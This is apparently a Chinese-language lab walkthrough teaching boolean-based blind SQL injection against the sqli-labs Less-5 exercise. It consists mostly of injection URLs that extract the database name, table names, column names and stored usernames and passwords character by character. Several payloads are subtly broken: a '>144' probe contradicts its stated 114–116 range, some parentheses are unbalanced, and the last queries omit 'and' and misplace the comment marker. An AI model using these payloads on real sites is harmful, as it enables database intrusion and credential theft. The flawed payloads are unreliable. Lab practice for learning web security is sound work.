⑥基于布尔型SQL盲注

基于布尔型SQL盲注


基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

sqli-labs>>less-5


接下来,我们以less-5为例讲解基于布尔型SQL盲注方法。


猜测当前数据库长度:

⑥基于布尔型SQL盲注_第1张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 %23

长度为8时返回正确页面,所以数据库长度为8.


猜测当前数据库名

方法1——使用left()函数进行夹逼
猜测当前数据库名的第一位字符:
⑥基于布尔型SQL盲注_第2张图片

⑥基于布尔型SQL盲注_第3张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)>'r'%23
'r'<'当前数据库名的第一位字符'<'t'

所以当前数据库名的第一位字符为’s’。

猜测当前数据库名的第二位字符:
⑥基于布尔型SQL盲注_第4张图片

⑥基于布尔型SQL盲注_第5张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)>'sd'%23
'sd'<'当前数据库名的前两位字符'<'sf'

所以当前数据库名的第二位字符为’e’。
以此类推,最后得到当前数据库名为“security”。


方法2——使用ascii()函数和substr()函数进行夹逼
猜测当前数据库名的第一位字符:
⑥基于布尔型SQL盲注_第6张图片

⑥基于布尔型SQL盲注_第7张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select database()),1,1)>144%23
114<当前数据库名的第一位字符的ascii<116

所以当前数据库名的第一位字符为’s’。

猜测当前数据库名的第二位字符:
⑥基于布尔型SQL盲注_第8张图片

⑥基于布尔型SQL盲注_第9张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select database()),2,1)>100%23
100<当前数据库名的第二位字符的ascii<102

所以当前数据库名的第二位为’e’。
以此类推,最后得到当前数据库名为“security”。


猜测当前数据库的表名

猜测第一个数据表名的第一个字符:
⑥基于布尔型SQL盲注_第10张图片
⑥基于布尔型SQL盲注_第11张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100%23
'd'<'当前数据库第一个表名的第一个字符'<'f'

所以,当前数据库第一个表名的第一个字符为’e’。

猜测第一个数据表名的第二个字符:
⑥基于布尔型SQL盲注_第12张图片
⑥基于布尔型SQL盲注_第13张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108%23
'l'<'当前数据库第一个表名的第二个字符'<'n'

所以,当前数据库第一个表名的第二个字符为’m’。
以此类推,当前数据库第一个表名为’email’。


猜测第二个数据表名的第一个字符:
⑥基于布尔型SQL盲注_第14张图片
⑥基于布尔型SQL盲注_第15张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113%23
'q'<'当前数据库第二个表名的第一个字符'<'s'

所以,当前数据库第二个表名的第一个字符为’r’。

猜测第二个数据表名的第二个字符:
⑥基于布尔型SQL盲注_第16张图片
⑥基于布尔型SQL盲注_第17张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>100%23
'd'<'当前数据库第二个表名的第二个字符'<'f'

所以,当前数据库第二个表名的第二个字符为’e’。
以此类推,当前数据库第二个表名为’referer’。


猜测当前数据表的字段:

猜测当前数据表的第四个字段的第一个字符:
⑥基于布尔型SQL盲注_第18张图片
⑥基于布尔型SQL盲注_第19张图片

此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 3,1),1,1))>104%23
'h'<'当前数据表的第四个字段的第一个字符'<'j'

所以,当前数据表的第四个字段的第一个字符为’i’。

猜测当前数据表的第四个字段的第二个字符:
⑥基于布尔型SQL盲注_第20张图片
⑥基于布尔型SQL盲注_第21张图片
此时的URL为:

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 3,1),2,1))>100%23
'c'<'当前数据表的第四个字段的第二个字符'<'e'

所以,当前数据表的第四个字段的第二个字符为’d’。
一次类推,当前数据表的第四个字段为’id’。

同样的方法,我们可以推出当前数据表的第五个字段为’username’。
⑥基于布尔型SQL盲注_第22张图片
⑥基于布尔型SQL盲注_第23张图片
⑥基于布尔型SQL盲注_第24张图片
⑥基于布尔型SQL盲注_第25张图片


猜测当前字段的数据项:

猜测当前字段第一个数据项的第一个字符:
⑥基于布尔型SQL盲注_第26张图片
⑥基于布尔型SQL盲注_第27张图片
此时的URL为:

http://127.0.0.1/sqlilabs/less-5/?id=1' ascii(substr((select username from security.user order by id limit 0,1),1,1)>67%23)
'C'<'当前字段的第一个数据项的第一个字符'<'E'

所以,当前字段的第一个数据项的第一个字符为’D’。

猜测当前字段第一个数据项的第二个字符:
⑥基于布尔型SQL盲注_第28张图片
⑥基于布尔型SQL盲注_第29张图片
此时的URL为:

http://127.0.0.1/sqlilabs/less-5/?id=1' ascii(substr((select username from security.user order by id limit 0,1),2,1)>116%23)
't'<'当前字段的第一个数据项的第二个字符'<'v'

所以,当前字段的第一个数据项的第一个字符为’u’。
以此类推,当前字段的第一个数据项为’Dumb’。

同样的方法可以推出‘password’字段的第一个数据项为’Dumb’。
⑥基于布尔型SQL盲注_第30张图片
⑥基于布尔型SQL盲注_第31张图片
⑥基于布尔型SQL盲注_第32张图片
⑥基于布尔型SQL盲注_第33张图片

你可能感兴趣的:(sql注入)